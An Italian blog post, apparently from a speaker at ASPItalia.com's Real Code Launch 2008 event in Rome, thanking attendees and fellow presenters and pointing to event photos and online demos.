Un grazie va tutti coloro che si sono fatti un sacco di Km per venire a Roma a sentirci fino alle 22 di sera, a tutti quelli che ci hanno fatto domande (o che ce ne faranno in futuro) su quanto visto durante le nostre sessioni e che hanno dimostrato interesse su quanto facciamo. Eravate una marea di persone, grazie di cuore per essere intervenuti! Vi aspettiamo ai prossimi eventi che terremo durante il 2008 in occasione del decimo anniversario della nostra storia.

Infine un ringraziamento particolare va anche agli altri {eroi} della serata: Daniele (semplicemente perch� � quello che �, unico nel suo genere), Ricciolo (che mi ha sopportato in camera, in aereo e che mi ha offerto uno squisito pranzo a casa sua), al compagno di sessione Stefano (che si � divertito a muovermi il mouse per tutto il tempo durante la sessione fino a mostrare un'immagine a tutto schermo con la scritta: I LOVE DATASETS - li mortacci... :D) e ai mitici "Little Lions Boys" (Marco e Alessio Leoncini).

Le altre foto sono disponibili nella sezione LIVE di ASPItalia.com, in tutto sono una quindicina. Buona visione!

Continua a leggere Real Code Launch 2008: demo online.